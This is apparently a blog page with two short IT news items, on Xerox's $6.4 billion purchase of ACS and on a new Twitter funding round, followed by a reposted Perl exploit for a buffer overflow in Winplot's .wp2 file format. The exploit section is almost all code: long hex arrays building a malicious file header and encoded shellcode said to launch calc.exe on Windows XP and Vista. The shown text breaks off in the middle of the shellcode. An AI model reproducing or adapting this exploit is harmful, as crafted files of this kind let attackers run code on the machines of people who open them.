Sep 28

Xerox buys ACS for $6.4 billion

By jason IT News World 114 Comments »

This was originally posted at ZDNet’s Between the Lines.

Xerox said Monday it will buy Affiliated Computer Services in a cash and stock deal valued at $6.4 billion.

Xerox is valuing ACS at $63.11 a share, up from ACS’ closing price of $47.50. The move transforms Xerox into a services company that can focus on business process management and outsourcing (statement).

The company, which is in a dogfight with Hewlett-Packard for print managed services, is apparently looking for more foot soldiers to cross sell everything from process overhauls to document management programs. After all, HP can use its EDS army to sell print managed services in addition to other items. ACS had $1 billion in recurring revenue during fiscal 2009.

For Ursula Burns, Xerox’s CEO, the ACS deal is a defining moment that comes early in her tenure. In a statement, she said:

By combining Xerox’s strengths in document technology with ACS’s expertise in managing and automating work processes, we’re creating a new class of solution provider.

Indeed, Xerox will have a $22 billion company with $17 billion in recurring revenue. When you combine the Xerox deal with Dell’s purchase of Perot Systems last week you arrive at an easy conclusion: Everyone wants to be a services company.

ACS shareholders get $18.60 in cash and 4.935 Xerox shares for each share they own. Xerox picks up ACS’ $2 billion debt. As for the synergies, Xerox said the deal is about growth:

Xerox is confident it will achieve significant incremental revenue growth by leveraging Xerox’s strong global brand and established client relationships to scale ACS’s business in Europe, Asia and South America. In addition, Xerox will integrate its intellectual property with ACS’s services to create new solutions for end-to-end support of customers’ work processes.

However, there will be some savings. Xerox said it will save $300 million to $400 million annually in the first three years once the deal closes. The savings are related to back office, procurement, and the costs related to running a public company.

The deal has been approved by the boards of Xerox and ACS and by an ACS special committee. It is expected to close in the first quarter of 2010.

Tagged with: • •
Sep 26

Twitter confirms new round of funding

By jason IT News World 1 Comment »

Yes, Twitter’s megacash infusion is real. CEO Evan Williams confirmed on the company blog Friday that Twitter has raised a new round of investment from Insight Venture Partners, T. Rowe Price, and existing investors Institutional Venture Partners, Spark Capital, and Benchmark Capital.

Williams says it’s "a significant round." He didn’t say just how close it was to the roughly $100 million that The Wall Street Journal reported Thursday. Nor did he say whether this values Twitter at $1 billion.

"It was important to us that we find investment partners who share our vision for building a company of enduring value," Williams wrote in the blog post. "Twitter’s journey has just begun, and we are committed to building the best product, technology, and company possible. I’m proud of the team we’ve built so far, and I’m confident in the future we’ll build together."

Before the end of the year, Twitter is expected to start rolling out paid corporate accounts to businesses that use the service for marketing, promotion, and customer service.

Tagged with: • • • • •
Sep 25

Winplot (.wp2 File) Local Buffer Overflow Exploit

By jason Security Tools No Comments »

# Author: Rick
# Email: rick2600@hotmail.com
#
# Software: http://math.exeter.edu/rparris/peanut/wp32z.exe
# Version: Compiled in 19 sept 2009
#
# Exec: calc.exe
# Tested on: Windows XP SP2 EN,PT-BR, Vista
# Greeting: Hisok4, All my friends

$header1 =
"\x49\x03\x00\x00\x19\x00\x00\x00\x30\x00\x00\x00\x2e\x00\x00\x00".
"\x0e\x02\x00\x00\x0e\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x3d\x00\x00\x00\xd9\xff\xff\xff\x2c\x01\x00\x00\x64\x00\x00\x00".
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00".
"\x0f\x00\x00\x00\x2b\xd0\x28\x01\x49\x1e\x29\x01\x00\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x08\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x0a\x00\x00\x00\x0a\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08\x02\x01\x31".
"\x53\x79\x6d\x62\x6f\x6c\x00\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf5\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x02\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x02".
"\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31".
"\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd\x9f\x51\x00".
"\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd\x9f\x51".
"\x00\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd\x9f".
"\x51\x00\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd".
"\x9f\x51\x00\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00".
"\x06\x00\x00\x00\x04\x00\x06\x00\x05\x00\x16\x00\x18\x00\x00\x00".
"\x15\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff".
"\xff\x00\xff\x00\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\x00\xbf".
"\x3f\x00\x00\x00\xff\x00\x00\x7f\x7f\x00\xff\x7f\x00\x00\xff\x00".
"\x7f\x00\xa0\x2f\x00\x00\x00\xff\xff\x00\xbf\xbf\x7f\x00\x7f\x00".
"\x7f\x00\x20\xff\x00\x00\xff\x7f\x7f\x00\x87\x87\x00\x00\x00\x3c".
"\xa0\x00\xe0\xe0\xe0\x00\xc0\xc0\xc0\x00\xa0\xa0\xa0\x00\x80\x80".
"\x80\x00\x60\x60\x60\x00\x40\x40\x40\x00\xbf\x00\x3f\x00\x7e\xde".
"\xff\x00\xff\xcc\xcc\x00\xff\x7e\xde\x00\xff\xde\x7e\x00\xde\xff".
"\x7e\x00\x7e\xff\xde\x00\xff\xff\xbf\x00\xff\xbf\xff\x00\xbf\xff".
"\xff\x00\xff\xff\xde\x00\xff\xde\xff\x00\xde\xff\xff\x00\xb1\xde".
"\xd4\x00\xb1\xd4\xde\x00\xd4\xb1\xde\x00\xd4\xde\xb1\x00\xde\xb1".
"\xd4\x00\xde\xd4\xb1\x00\xbf\xf1\xde\x00\xbf\xde\xf1\x00\xde\xf1".
"\xbf\x00\xde\xbf\xf1\x00\xf1\xde\xbf\x00\xf1\xbf\xde\x00\xff\x96".
"\xea\x00\x96\xea\xff\x00\xcc\xcc\xcc\x00\xc8\x70\x00\x00\xde\xcd".
"\x00\x00\xde\x68\x20\x00\x14\x82\x28\x00\xc0\x00\xa0\x00\xd4\x28".
"\x28\x00\x50\x84\xb0\x00\x64\xa0\xc8\x00\x14\x64\x14\x00\x05\x00".
"\x7d\x00\x00\x00\x01\x00\x01\x00\x01\x00\x0a\x00\x05\x00\x02\x00".
"\x00\x00\x64\x00\x03\x00\x3c\x00\x07\x00\x0f\x00\x01\x00\x03\x00".
"\x08\x00\x0c\x00\x1e\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x01\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x00\x0c\x00".
"\x14\x00\x00\x00\x00\x00\x7b\x03\xff\xff\x32\x00\x00\x00\xb0\x00".
"\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00".
"\x00\x01\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x01\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x01\x40\x66\x33\x44\xe9\x5c\x36\x43\x94\x01\xc0\x66\x33\x44\xe9".
"\x5c\x36\x43\x94\x01\x40\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f".
"\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00".
"\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xf0\x04\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x05\x40\x00\x00\x00\x00\x00\x00\x00\xf0\x04\x40\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00".
"\x00\x00\x00\x00\x00\x80\x00\x40\x00\x30\x33\x33\x33\x33\x33\xb3".
"\xfe\x3f\x00\xd0\xcc\xcc\xcc\xcc\xcc\xcc\xfb\x3f\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\xa8\x5e\xdf\x9b\x4f\x77\xd6\xfb\x3f\x00\x48\xe1\x7a\x14\xae".
"\x47\x81\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\xc0".
"\xfe\x3f\x7f\x00\x20\x62\x7e\x00\x00\x00\x00\x00\xf0\xf4\x12\x00".
"\x01\x00\x00\x00\x00\x00\x00\x00\x80\xf6\x12\x00\x60\x48\x40\x00".
"\x38\x03\x03\x00\xf0\xf4\x12\x00\x78\xc0\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00".
"\x00\x00\x00\x00\x00\xfa\x08\x40\x00\xd0\xcc\xcc\xcc\xcc\xcc\xcc".
"\xfb\x3f\x00\x00\x00\x00\x00\x00\x40\x9c\x0c\x40\x00\x00\x00\x00".
"\x00\x00\x00\xc8\x07\x40\x00\x00\x00\x00\x00\x00\x00\x96\x06\x40".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\xc8\x05\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00".
"\x00\x00\x00\xfa\x08\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00".
"\x00\xc8\x05\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00\x00\xc8".
"\x05\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00".
"\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xcc\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x14\x00".
"\x01\x00\x0f\x00\x05\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x32\x00\x00\x00".
"\x01\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\xd0\xcc".
"\xcc\xcc\xcc\xcc\xcc\xfc\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x24".
"\x00\x24\x00\x24\x00\x96\x00\x96\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80\xff".
"\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00".
"\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8".
"\x1c\x8e\x2d\x54\xde\x73\x9e\xf9\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x01".
"\x00\x00\x00\x30\x75\xaf\x00\x34\x76\xaf\x00\x38\x77\xaf\x00\x3c".
"\x78\xaf\x00\x40\x79\xaf\x00\x44\x7a\xaf\x00\x48\x7b\xaf\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\xa7\xaf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x8e\xaf\x00\x00".
"\x00\x00\x00\x5c\x90\xaf\x00\x74\xa3\xaf\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x01\x00\x80\x97\xcd\xaa\x1f\xf8\xae\xe6\x00\x40\x4c".
"\x8d\x4e\xf3\x22\x84\x33\xb8\xfb\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x0c\xe8\xd1\x19\x4f\xc1\x05\xc9\x00\x40\x00\x00\x01\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x18\x00\x01\x00\x00\x00\x0d\x00\x04\x00\xff\xff".
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x0b\x00";

$header2 =
"\x00\x01\x00\x00\x09\x00\x78\x78".
"\x2b\x79\x79\x3d\x31\x33\x00\x01\x00\x00\x01\x00\x00\x00\x49\x54".
"\x00\x10\x49\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x02\x00\x78\x00\x02\x00\x79\x00\x02\x00\x7a\x00\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x4a".
"\xbb\xa2\x58\x54\xf8\xad\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x97\xcd\xaa".
"\x1f\xf8\xae\xe6\x00\x40\x4c\x8d\x4e\xf3\x22\x84\x33\xb8\xfb\x3f".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\xb0\x8e\xaa\x00\x0c\x00\x00\x00".
"\x00\x00\x00\x00\xf0\xf4\x12\x00\x40\xb0\x8e\xaa\x00\x0c\x00\x00".
"\x00\x00\x00\x00\x00\xf0\xf4\x12\x00\x40\xb0\x8e\xaa\x00\x0c\x00".
"\x00\x00\x00\x00\x00\x00\xf0\xf4\x12\x00\x40\x00\x00\x00\x00\x00".
"\x00\x01\x00\x00\x00\x00\x78\x78\x2b\x79\x79\x3d\x31\x33\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x7d\x59\x00\x00\x10\x49\x54\x00\x10\x49\x54\x00\x00".
"\x00\x00\x00\xbf\x00\x3f\x00\xaa\x55\x77\x03\x65\xa4\x24\x9e\x01".
"\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x66\x33\x44\xe9\x5c".
"\x36\x43\x94\x01\xc0\x10\x89\xbb\xec\xc1\xda\x67\x92\x01\x40\xf3".
"\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90".
"\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69".
"\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";

$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34".
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57".
